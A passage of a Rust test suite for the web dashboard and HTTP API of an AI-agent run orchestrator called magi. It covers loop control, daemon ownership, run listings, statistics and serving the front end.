7964 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7965 assert_eq!(first.status, 200, "{}", first.body);
7966
7967 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7968 assert_eq!(
7969 again.status, 409,
7970 "two loops on one queue race for the same claims: {}",
7971 again.body
7972 );
7973 assert!(
7974 again.json()["error"]
7975 .as_str()
7976 .is_some_and(|e| e.contains("already running the loop")),
7977 "the refusal has to say why: {}",
7978 again.body
7979 );
7980 assert_eq!(
7981 f.get("/api/loop").await.json()["running"],
7982 true,
7983 "and the loop that was already running is untouched by it"
7984 );
7985
7986 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7987 }
7988
7989 #[tokio::test]
7990 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
7991 let f = Fixture::start().await;
7992 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
7993
7994 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
7995 assert_eq!(
7996 res.status, 200,
7997 "the answer must not wait for the loop: a run in flight is tens of \
7998 minutes and the operator is holding a phone: {}",
7999 res.body
8000 );
8001
8002 let view = settled(&f, |v| v["running"] == false).await;
8003 assert_eq!(view["owned"], false);
8004 assert_eq!(
8005 view["stopping"], false,
8006 "a loop that has stopped is not still stopping: {view}"
8007 );
8008 assert_eq!(
8009 view["last_error"],
8010 Value::Null,
8011 "a loop that was asked to stop did not fail: {view}"
8012 );
8013
8014 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
8017 assert_eq!(twice.status, 200, "{}", twice.body);
8018 }
8019
8020 #[tokio::test]
8021 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
8022 let f = Fixture::start().await;
8023 write_daemon(f.home.path(), Timestamp::now());
8026
8027 let view = f.get("/api/loop").await.json();
8028 assert_eq!(view["running"], false, "not in this process: {view}");
8029 assert_eq!(view["owned"], false, "and not this process's to control");
8030 assert_eq!(
8031 view["daemon"]["running"], true,
8032 "but a loop is alive somewhere, which is what the UI must say"
8033 );
8034 assert_eq!(view["daemon"]["pid"], 4242);
8035
8036 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
8037 let res = f.post("/api/loop", Some(body)).await;
8038 assert_eq!(
8039 res.status, 409,
8040 "neither button may pretend to work on someone else's loop: {}",
8041 res.body
8042 );
8043 assert!(
8044 res.json()["error"]
8045 .as_str()
8046 .is_some_and(|e| e.contains("4242")),
8047 "the refusal has to name the process the operator must go to: {}",
8048 res.body
8049 );
8050 }
8051 assert_eq!(
8052 f.get("/api/loop").await.json()["running"],
8053 false,
8054 "and the refusal started nothing"
8055 );
8056 }
8057
8058 #[tokio::test]
8059 async fn a_stale_status_file_is_not_a_foreign_owner() {
8060 let f = Fixture::start().await;
8061 write_daemon(
8062 f.home.path(),
8063 Timestamp::now() - jiff::SignedDuration::from_secs(60),
8064 );
8065
8066 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
8067 assert_eq!(
8068 res.status, 200,
8069 "a daemon killed a minute ago must not lock the loop out of its \
8070 own home for good: {}",
8071 res.body
8072 );
8073 assert_eq!(res.json()["running"], true);
8074
8075 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
8076 }
8077
8078 #[tokio::test]
8079 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
8080 let f = Fixture::start().await;
8081 let before = f.get("/api/health").await.json()["loop_rev"]
8082 .as_u64()
8083 .expect("a loop revision");
8084
8085 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
8086
8087 let after = f.get("/api/health").await.json()["loop_rev"]
8088 .as_u64()
8089 .expect("a loop revision");
8090 assert!(
8091 after > before,
8092 "the loop is in-process state, so this counter is the only thing \
8093 that tells a second device the first one started it: {before} -> \
8094 {after}"
8095 );
8096
8097 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
8098 }
8099
8100 #[tokio::test]
8101 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
8102 let f = Fixture::with_loop(launch_broken).await;
8103
8104 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
8105 assert_eq!(
8106 res.status, 200,
8107 "starting it is not the failure: {}",
8108 res.body
8109 );
8110
8111 let view = settled(&f, |v| v["last_error"].is_string()).await;
8112 assert_eq!(
8113 view["running"], false,
8114 "a loop that died must not read as running, or the operator has \
8115 nothing to press: {view}"
8116 );
8117 assert_eq!(view["owned"], false);
8118 assert!(
8119 view["last_error"]
8120 .as_str()
8121 .is_some_and(|e| e.contains("read-only file system")),
8122 "the phone is where a loop that died at 3am is visible: {view}"
8123 );
8124
8125 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
8128 assert_eq!(again.status, 200, "{}", again.body);
8129 assert_eq!(
8130 again.json()["last_error"],
8131 Value::Null,
8132 "a fresh start does not keep showing why the last one died"
8133 );
8134 }
8135
8136 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
8148 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
8149 let home = TempDir::new().expect("temp home");
8150 let runs = home.path().join("runs");
8151 std::fs::create_dir_all(&runs).expect("runs dir");
8152 let ui = Ui::new(
8153 Queue::at(home.path().join("queue")),
8154 Questions::at(home.path().join("questions")),
8155 Talks::at(home.path().join("talks")),
8156 runs,
8157 home.path().to_path_buf(),
8158 PathBuf::from("/repo/magi"),
8159 )
8160 .with_worktrees_root(home.path().join("wt"))
8161 .with_launch(launch_knocking_on_the_way_out);
8162 let looping = ui.looping();
8163 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8164 .await
8165 .expect("bind loopback");
8166 let addr = listener.local_addr().expect("local addr");
8167 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
8168 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
8169
8170 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
8171 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
8172
8173 let bound = std::sync::Mutex::new(None);
8188 hand_over(home.path(), &looping, served, |_| {
8189 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
8190 let attempt = loop {
8191 match std::net::TcpListener::bind(addr) {
8192 Ok(l) => {
8193 drop(l);
8194 break Ok(());
8195 }
8196 Err(e)
8197 if e.kind() == std::io::ErrorKind::AddrInUse
8198 && std::time::Instant::now() < deadline =>
8199 {
8200 std::thread::sleep(std::time::Duration::from_millis(10));
8201 }
8202 Err(e) => break Err(e.to_string()),
8203 }
8204 };
8205 *bound.lock().expect("bound") = Some(attempt);
8206 Ok(())
8207 })
8208 .await
8209 .expect("hand over");
8210
8211 assert_eq!(
8212 *PARK_HEARD.lock().expect("park heard"),
8213 Some(200),
8214 "the deck must answer while the loop is parking"
8215 );
8216 let attempt = bound
8217 .lock()
8218 .expect("bound")
8219 .take()
8220 .expect("the successor was started");
8221 assert!(
8222 attempt.is_ok(),
8223 "and the address must be free by the time it is: {attempt:?}"
8224 );
8225 }
8226
8227 #[tokio::test]
8228 async fn a_newer_daemon_status_file_still_renders() {
8229 let f = Fixture::start().await;
8230 std::fs::write(
8233 f.home.path().join("daemon.json"),
8234 serde_json::json!({
8235 "schema": 2,
8236 "updated_at": Timestamp::now().to_string(),
8237 "idle": true,
8238 "surprise": { "nested": [1, 2, 3] },
8239 })
8240 .to_string(),
8241 )
8242 .expect("write daemon.json");
8243
8244 let health = f.get("/api/health").await;
8245
8246 assert_eq!(health.status, 200);
8247 assert_eq!(health.json()["daemon"]["running"], true);
8248 }
8249
8250 #[tokio::test]
8251 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
8252 let f = Fixture::start().await;
8253 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
8254 let broken = f.runs().join("20260902-140502-bad");
8255 std::fs::create_dir_all(&broken).expect("run dir");
8256 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
8257
8258 let list = f.get("/api/runs").await;
8259 let detail = f.get("/api/runs/20260902-140502-bad").await;
8260
8261 assert_eq!(list.status, 200);
8262 let listed = list.json();
8263 let ids: Vec<&str> = listed
8264 .as_array()
8265 .expect("an array")
8266 .iter()
8267 .map(|r| r["id"].as_str().expect("an id"))
8268 .collect();
8269 assert_eq!(
8270 ids,
8271 vec!["20260902-140501-good"],
8272 "one unreadable run must not cost the operator the whole history"
8273 );
8274 assert_eq!(detail.status, 500);
8275 assert!(
8276 detail.json()["error"]
8277 .as_str()
8278 .is_some_and(|e| e.contains("run.json")),
8279 "the failure names the file to look at: {}",
8280 detail.body
8281 );
8282 let health = f.get("/api/health").await;
8286 assert_eq!(health.json()["runs_unreadable"], 1);
8287 }
8288
8289 #[tokio::test]
8294 async fn stats_runs_unreadable_matches_health() {
8295 let f = Fixture::start().await;
8296 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
8297 let broken = f.runs().join("20260902-140502-bad");
8298 std::fs::create_dir_all(&broken).expect("run dir");
8299 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
8300
8301 let stats = f.get("/api/stats").await;
8302 let health = f.get("/api/health").await;
8303
8304 assert_eq!(stats.status, 200);
8305 assert_eq!(stats.json()["totals"]["runs"], 1);
8306 assert_eq!(stats.json()["runs_unreadable"], 1);
8307 assert_eq!(
8308 stats.json()["runs_unreadable"],
8309 health.json()["runs_unreadable"],
8310 "the dashboard and /api/health must never disagree about how many \
8311 runs could not be read"
8312 );
8313 }
8314
8315 #[tokio::test]
8316 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
8317 let f = Fixture::start().await;
8318 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
8319 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
8320 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
8321
8322 let totals = &f.get("/api/stats").await.json()["totals"];
8323 assert_eq!(totals["runs"], 3);
8324 assert_eq!(totals["merged"], 1);
8325 assert_eq!(totals["stalled"], 1);
8326 assert_eq!(totals["in_progress"], 1);
8327 assert_eq!(totals["blocked"], 0);
8330 assert_eq!(totals["ready"], 0);
8331 }
8332
8333 #[tokio::test]
8334 async fn stats_advisors_report_proposals_and_reflection() {
8335 use crate::advise::{Advice, AdvisorRecord, Reflection};
8336 use crate::verdict::Proposal;
8337
8338 let f = Fixture::start().await;
8339 let mut state = RunState::new(
8340 PathBuf::from("/repo/magi"),
8341 "main".to_owned(),
8342 "0123456789abcdef".to_owned(),
8343 "task".to_owned(),
8344 Config::default(),
8345 );
8346 state.id = "20260902-140501-a".to_owned();
8347 state.status = RunStatus::Merged;
8348 state.advice = Some(Advice {
8349 records: vec![
8350 AdvisorRecord {
8351 seat: "advisor-1".to_owned(),
8352 agent: "alpha".to_owned(),
8353 proposal: Some(Proposal {
8354 approach: "do it".to_owned(),
8355 key_tradeoff: "speed over memory".to_owned(),
8356 risks: Vec::new(),
8357 touches: Vec::new(),
8358 why_not_naive: "breaks under load".to_owned(),
8359 }),
8360 error: None,
8361 duration_ms: 0,
8362 reflection: Reflection::Strong,
8363 },
8364 AdvisorRecord {
8365 seat: "advisor-2".to_owned(),
8366 agent: "alpha".to_owned(),
8367 proposal: None,
8368 error: Some("timed out".to_owned()),
8369 duration_ms: 0,
8370 reflection: Reflection::Absent,
8371 },
8372 ],
8373 synthesis: Some("blended brief".to_owned()),
8374 });
8375 let dir = f.runs().join(&state.id);
8376 std::fs::create_dir_all(&dir).expect("run dir");
8377 std::fs::write(
8378 dir.join("run.json"),
8379 serde_json::to_string_pretty(&state).expect("serialize run"),
8380 )
8381 .expect("write run.json");
8382
8383 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
8384 let alpha = advisors
8385 .as_array()
8386 .expect("an array")
8387 .iter()
8388 .find(|a| a["agent"] == "alpha")
8389 .expect("alpha row");
8390 assert_eq!(alpha["seated"], 2);
8391 assert_eq!(alpha["proposed"], 1);
8392 assert_eq!(alpha["absent"], 1);
8393 assert_eq!(alpha["strong"], 1);
8394 assert_eq!(alpha["faint"], 0);
8395 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
8396 }
8397
8398 #[tokio::test]
8399 async fn stats_release_bumps_split_clean_from_attention() {
8400 use crate::run::ReleaseBump;
8401
8402 let f = Fixture::start().await;
8403
8404 let mut clean = RunState::new(
8405 PathBuf::from("/repo/magi"),
8406 "main".to_owned(),
8407 "0123456789abcdef".to_owned(),
8408 "task".to_owned(),
8409 Config::default(),
8410 );
8411 clean.id = "20260902-140501-a".to_owned();
8412 clean.status = RunStatus::Merged;
8413 clean.release_bump = Some(ReleaseBump {
8414 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
8415 version: Some("1.0.0".to_owned()),
8416 automerge_enabled: true,
8417 merged_directly: false,
8418 problem: None,
8419 action_required: None,
8420 });
8421
8422 let mut blocked = RunState::new(
8423 PathBuf::from("/repo/magi"),
8424 "main".to_owned(),
8425 "0123456789abcdef".to_owned(),
8426 "task".to_owned(),
8427 Config::default(),
8428 );
8429 blocked.id = "20260902-140502-b".to_owned();
8430 blocked.status = RunStatus::Merged;
8431 blocked.release_bump = Some(ReleaseBump {
8432 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
8433 version: Some("1.0.1".to_owned()),
8434 automerge_enabled: false,
8435 merged_directly: false,
8436 problem: Some("checks red".to_owned()),
8437 action_required: Some("look at the PR".to_owned()),
8438 });
8439
8440 for state in [&clean, &blocked] {
8441 let dir = f.runs().join(&state.id);
8442 std::fs::create_dir_all(&dir).expect("run dir");
8443 std::fs::write(
8444 dir.join("run.json"),
8445 serde_json::to_string_pretty(state).expect("serialize run"),
8446 )
8447 .expect("write run.json");
8448 }
8449
8450 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
8451 assert_eq!(bumps["merged"], 2);
8452 assert_eq!(bumps["recorded"], 2);
8453 assert_eq!(bumps["pr_opened"], 2);
8454 assert_eq!(bumps["automerge_enabled"], 1);
8455 assert_eq!(bumps["needs_attention"], 1);
8456 assert_eq!(bumps["clean"], 1);
8457 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
8458 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
8459 }
8460
8461 #[tokio::test]
8462 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
8463 let f = Fixture::start().await;
8464 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
8465
8466 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
8467 assert_eq!(bumps["merged"], 1);
8468 assert_eq!(bumps["recorded"], 0);
8469 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
8472 assert_eq!(bumps["automerge_rate"], Value::Null);
8475 assert_eq!(bumps["attention_rate"], Value::Null);
8476 }
8477
8478 #[tokio::test]
8479 async fn stats_queue_counts_come_from_the_live_queue() {
8480 let f = Fixture::start().await;
8481 let q = f.queue();
8482 let mut queued = Task::new(
8483 "queued task".to_owned(),
8484 "do it".to_owned(),
8485 PathBuf::from("/repo"),
8486 Source::Human,
8487 );
8488 q.put(&mut queued).expect("put queued");
8489 let mut held = Task::new(
8490 "held task".to_owned(),
8491 "do it later".to_owned(),
8492 PathBuf::from("/repo"),
8493 Source::Human,
8494 );
8495 held.hold_machine(Some("out of attempts".to_owned()));
8496 q.put(&mut held).expect("put held");
8497
8498 let queue = f.get("/api/stats").await.json()["queue"].clone();
8499 assert_eq!(queue["queued"], 1);
8500 assert_eq!(queue["held"], 1);
8501 assert_eq!(queue["running"], 0);
8502 assert_eq!(queue["done"], 0);
8503 assert_eq!(queue["failed"], 0);
8504 assert_eq!(queue["blocked"], 0);
8505 }
8506
8507 #[tokio::test]
8508 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
8509 let f = Fixture::start().await;
8510 let stats = f.get("/api/stats").await;
8511 assert_eq!(stats.status, 200);
8512 assert_eq!(stats.json()["totals"]["runs"], 0);
8513 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
8514 assert_eq!(stats.json()["runs_unreadable"], 0);
8515 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
8516 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
8517 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
8518 assert_eq!(stats.json()["repo"], Value::Null);
8519 }
8520
8521 #[tokio::test]
8522 async fn stats_lists_every_repository_with_runs_recorded() {
8523 let f = Fixture::start().await;
8524 write_run_repo(
8525 &f.runs(),
8526 "20260902-140501-a",
8527 RunStatus::Merged,
8528 "/repos/a",
8529 );
8530 write_run_repo(
8531 &f.runs(),
8532 "20260902-140502-b",
8533 RunStatus::Merged,
8534 "/repos/a",
8535 );
8536 write_run_repo(
8537 &f.runs(),
8538 "20260902-140503-c",
8539 RunStatus::Blocked,
8540 "/repos/b",
8541 );
8542
8543 let stats = f.get("/api/stats").await;
8544 assert_eq!(stats.status, 200);
8545 assert_eq!(stats.json()["totals"]["runs"], 3);
8547 assert_eq!(stats.json()["repo"], Value::Null);
8548
8549 let repos = stats.json()["repos"].clone();
8550 let repos = repos.as_array().unwrap();
8551 assert_eq!(repos.len(), 2);
8552 assert_eq!(repos[0]["repo"], "/repos/a");
8554 assert_eq!(repos[0]["name"], "a");
8555 assert_eq!(repos[0]["runs"], 2);
8556 assert_eq!(repos[1]["repo"], "/repos/b");
8557 assert_eq!(repos[1]["runs"], 1);
8558 }
8559
8560 #[tokio::test]
8561 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
8562 let f = Fixture::start().await;
8563 write_run_repo(
8564 &f.runs(),
8565 "20260902-140501-a",
8566 RunStatus::Merged,
8567 "/repos/a",
8568 );
8569 write_run_repo(
8570 &f.runs(),
8571 "20260902-140502-b",
8572 RunStatus::Blocked,
8573 "/repos/b",
8574 );
8575
8576 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
8577 assert_eq!(stats.status, 200);
8578 assert_eq!(stats.json()["totals"]["runs"], 1);
8579 assert_eq!(stats.json()["totals"]["merged"], 1);
8580 assert_eq!(stats.json()["repo"], "/repos/a");
8581 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
8584 assert_eq!(stats.json()["runs_unreadable"], 0);
8587 }
8588
8589 #[tokio::test]
8590 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
8591 let f = Fixture::start().await;
8592 write_run_repo(
8593 &f.runs(),
8594 "20260902-140501-a",
8595 RunStatus::Merged,
8596 "/repos/a",
8597 );
8598
8599 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
8600 assert_eq!(stats.status, 404);
8601 }
8602
8603 #[tokio::test]
8604 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
8605 let f = Fixture::start().await;
8606 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
8607
8608 let summary = f.get("/api/runs").await.json();
8609 let row = &summary[0];
8610 assert_eq!(row["short"], "a1b2");
8611 assert_eq!(row["status"], "ready");
8612 assert_eq!(row["done"], true);
8613 assert_eq!(row["title"], "Add a web UI");
8614 assert_eq!(row["repo_name"], "magi");
8615 assert_eq!(row["judges"], 3);
8616 assert_eq!(row["winner"], Value::Null);
8617 assert_eq!(row["reviews"], 0);
8618
8619 let detail = f.get("/api/runs/a1b2").await;
8622 assert_eq!(detail.status, 200);
8623 assert_eq!(detail.json()["base_branch"], "main");
8624 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
8625 }
8626
8627 #[tokio::test]
8635 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
8636 let f = Fixture::start().await;
8637
8638 let mut none_run = RunState::new(
8639 PathBuf::from("/repo/magi"),
8640 "main".to_owned(),
8641 "0123456789abcdef".to_owned(),
8642 "Add a web UI".to_owned(),
8643 Config::default(),
8644 );
8645 none_run.id = "20260902-140503-none".to_owned();
8646 none_run.status = RunStatus::Ready;
8647 none_run.merge = Some(crate::run::MergeOutcome {
8648 mode: crate::config::MergeMode::None,
8649 ok: true,
8650 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
8651 empty: false,
8652 });
8653 write_state(&f.runs(), &none_run);
8654
8655 let mut pr_run = RunState::new(
8656 PathBuf::from("/repo/magi"),
8657 "main".to_owned(),
8658 "0123456789abcdef".to_owned(),
8659 "Add a web UI".to_owned(),
8660 Config::default(),
8661 );
8662 pr_run.id = "20260902-140504-prcl".to_owned();
8663 pr_run.status = RunStatus::Ready;
8664 pr_run.merge = Some(crate::run::MergeOutcome {
8665 mode: crate::config::MergeMode::Pr,
8666 ok: false,
8667 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
8668 empty: false,
8669 });
8670 write_state(&f.runs(), &pr_run);
8671
8672 let summary = f.get("/api/runs").await.json();
8673 let rows: std::collections::HashMap<&str, &Value> = summary
8674 .as_array()
8675 .expect("an array")
8676 .iter()
8677 .map(|r| (r["id"].as_str().expect("an id"), r))
8678 .collect();
8679 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
8680 assert_eq!(
8681 rows[none_run.id.as_str()]["unmerged_by_design"],
8682 true,
8683 "a mode-none Ready must be flagged in the list"
8684 );
8685 assert_eq!(
8686 rows[pr_run.id.as_str()]["unmerged_by_design"],
8687 false,
8688 "a Ready reached by a closed pull request is a different case"
8689 );
8690
8691 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
8692 assert_eq!(none_detail["status"], "ready");
8693 assert_eq!(none_detail["unmerged_by_design"], true);
8694
8695 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
8696 assert_eq!(pr_detail["unmerged_by_design"], false);
8697 }
8698
8699 #[tokio::test]
8704 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
8705 let f = Fixture::start().await;
8706 let id = "20260902-140502-bbbb";
8710 let mut state = RunState::new(
8711 PathBuf::from("/repo/magi"),
8712 "main".to_owned(),
8713 "0123456789abcdef".to_owned(),
8714 "Add a web UI".to_owned(),
8715 Config::default(),
8716 );
8717 state.id = id.to_owned();
8718 state.status = RunStatus::Judging;
8719 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
8720 let dir = f.runs().join(id);
8721 std::fs::create_dir_all(&dir).expect("run dir");
8722 std::fs::write(
8723 dir.join("run.json"),
8724 serde_json::to_string_pretty(&state).expect("serialize run"),
8725 )
8726 .expect("write run.json");
8727
8728 let cold = f.get(&format!("/api/runs/{id}")).await.json();
8734 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
8735 assert_eq!(cold["live"], "unknown", "{cold}");
8736
8737 write_daemon(f.home.path(), Timestamp::now());
8740 let warm = f.get(&format!("/api/runs/{id}")).await.json();
8741 assert_eq!(warm["live"], "live", "{warm}");
8742 }
8743
8744 #[tokio::test]
8751 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
8752 let f = Fixture::start().await;
8753 let id = "20260922-090000-cccc";
8754 let mut state = RunState::new(
8755 PathBuf::from("/repo/magi"),
8756 "main".to_owned(),
8757 "0123456789abcdef".to_owned(),
8758 "Review only".to_owned(),
8759 Config::default(),
8760 );
8761 state.id = id.to_owned();
8762 state.status = RunStatus::Reviewing;
8763 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
8764 state.driver_pid = Some(std::process::id());
8770 state.driver_started_at = Some(
8771 crate::proc::process_started_at(std::process::id())
8772 .expect("this test process's own start time must be queryable"),
8773 );
8774 let dir = f.runs().join(id);
8775 std::fs::create_dir_all(&dir).expect("run dir");
8776 std::fs::write(
8777 dir.join("run.json"),
8778 serde_json::to_string_pretty(&state).expect("serialize run"),
8779 )
8780 .expect("write run.json");
8781
8782 let detail = f.get(&format!("/api/runs/{id}")).await.json();
8783 assert_eq!(detail["live"], "live", "{detail}");
8784 }
8785
8786 #[tokio::test]
8792 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
8793 let f = Fixture::start().await;
8794 let id = "20260922-090100-dddd";
8795 let mut state = RunState::new(
8796 PathBuf::from("/repo/magi"),
8797 "main".to_owned(),
8798 "0123456789abcdef".to_owned(),
8799 "Review only".to_owned(),
8800 Config::default(),
8801 );
8802 state.id = id.to_owned();
8803 state.status = RunStatus::Reviewing;
8804 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
8805 state.driver_pid = Some(std::process::id());
8810 state.driver_started_at = Some("not-this-processes-real-start-time".to_owned());
8811 let dir = f.runs().join(id);
8812 std::fs::create_dir_all(&dir).expect("run dir");
8813 std::fs::write(
8814 dir.join("run.json"),
8815 serde_json::to_string_pretty(&state).expect("serialize run"),
8816 )
8817 .expect("write run.json");
8818
8819 let detail = f.get(&format!("/api/runs/{id}")).await.json();
8820 assert_eq!(detail["live"], "dead", "{detail}");
8821 }
8822
8823 #[test]
8827 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
8828 let mk = |id: &str, pid: Option<u32>| {
8829 let mut s = RunState::new(
8830 PathBuf::from("/repo/magi"),
8831 "main".to_owned(),
8832 "0123456789abcdef".to_owned(),
8833 "Add a web UI".to_owned(),
8834 Config::default(),
8835 );
8836 s.id = id.to_owned();
8837 s.driver_pid = pid;
8838 s.driver_started_at = Some("t0".to_owned());
8839 s
8840 };
8841 let states = vec![
8842 mk("20260902-140502-aaaa", Some(77)),
8843 mk("20260902-140502-bbbb", Some(77)),
8844 mk("20260902-140502-cccc", Some(77)),
8845 mk("20260902-140502-dddd", None),
8846 ];
8847 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
8848 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
8849 let sup: HashMap<String, String> = [(
8850 "20260902-140502-aaaa".to_owned(),
8851 "20260902-140502-cccc".to_owned(),
8852 )]
8853 .into();
8854
8855 let status_calls = std::cell::Cell::new(0);
8856 let identity_calls = std::cell::Cell::new(0);
8857 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
8858 |_| {
8859 status_calls.set(status_calls.get() + 1);
8860 Some(true)
8861 },
8862 |_| {
8863 identity_calls.set(identity_calls.get() + 1);
8864 Some("t0".to_owned())
8865 },
8866 ));
8867 let rows = summarize(
8868 states,
8869 &open,
8870 &claimed,
8871 &sup,
8872 |p| probe.borrow_mut().status(p),
8873 |p| probe.borrow_mut().started_at(p),
8874 );
8875
8876 assert_eq!(status_calls.get(), 1, "one pid, one status query");
8877 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
8878 assert_eq!(rows.len(), 4);
8879 assert!(!rows[0].waiting && rows[1].waiting);
8880 assert_eq!(rows[0].live, crate::run::Liveness::Live);
8881 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
8882 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
8883 assert_eq!(rows[1].superseded_by, None);
8884 }
8885
8886 #[test]
8887 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
8888 let mut state = RunState::new(
8889 PathBuf::from("/repo/magi"),
8890 "main".to_owned(),
8891 "0123456789abcdef".to_owned(),
8892 "Review only".to_owned(),
8893 Config::default(),
8894 );
8895 state.id = "20260922-090200-dead".to_owned();
8896 state.status = RunStatus::Reviewing;
8897 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
8898 .expect("serialize list row");
8899 assert_eq!(row["status"], "reviewing");
8900 assert_eq!(row["live"], "dead", "{row}");
8901 assert!(!row["done"].as_bool().unwrap());
8902 }
8903
8904 #[tokio::test]
8905 async fn the_run_list_is_newest_first_and_honours_a_limit() {
8906 let f = Fixture::start().await;
8907 for id in [
8908 "20260902-140501-aaaa",
8909 "20260902-140502-bbbb",
8910 "20260902-140503-cccc",
8911 ] {
8912 write_run(&f.runs(), id, RunStatus::Merged);
8913 }
8914
8915 let all = f.get("/api/runs").await.json();
8916 let capped = f.get("/api/runs?limit=2").await.json();
8917
8918 assert_eq!(all[0]["id"], "20260902-140503-cccc");
8919 assert_eq!(all.as_array().map(Vec::len), Some(3));
8920 assert_eq!(capped.as_array().map(Vec::len), Some(2));
8921 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
8922 }
8923
8924 #[tokio::test]
8925 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
8926 let f = Fixture::start().await;
8927 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
8928
8929 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
8930
8931 assert_eq!(res.status, 200);
8932 assert!(
8933 res.headers
8934 .contains("content-type: text/plain; charset=utf-8"),
8935 "a browser must render it, not download it: {}",
8936 res.headers
8937 );
8938 assert!(
8942 res.body.contains("20260902-140501-a1b2"),
8943 "the report is about the run that was asked for: {}",
8944 res.body
8945 );
8946 }
8947
8948 #[tokio::test]
8949 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
8950 let f = Fixture::start().await;
8951
8952 let html = f.get("/").await;
8953 let css = f.get("/app.css").await;
8954 let js = f.get("/app.js").await;
8955
8956 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
8957 assert!(
8958 html.headers
8959 .contains("content-type: text/html; charset=utf-8")
8960 );
8961 assert!(css.headers.contains("content-type: text/css"));
8962 assert!(js.headers.contains("content-type: text/javascript"));
8963 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
8964 }
8965
8966 #[test]
8967 fn live_runs_are_never_hidden_or_folded_as_superseded() {
8968 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
8969 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
8970 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
8971 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
8972 }
8973
8974 #[test]
8975 fn review_rounds_label_a_distinct_verified_head() {
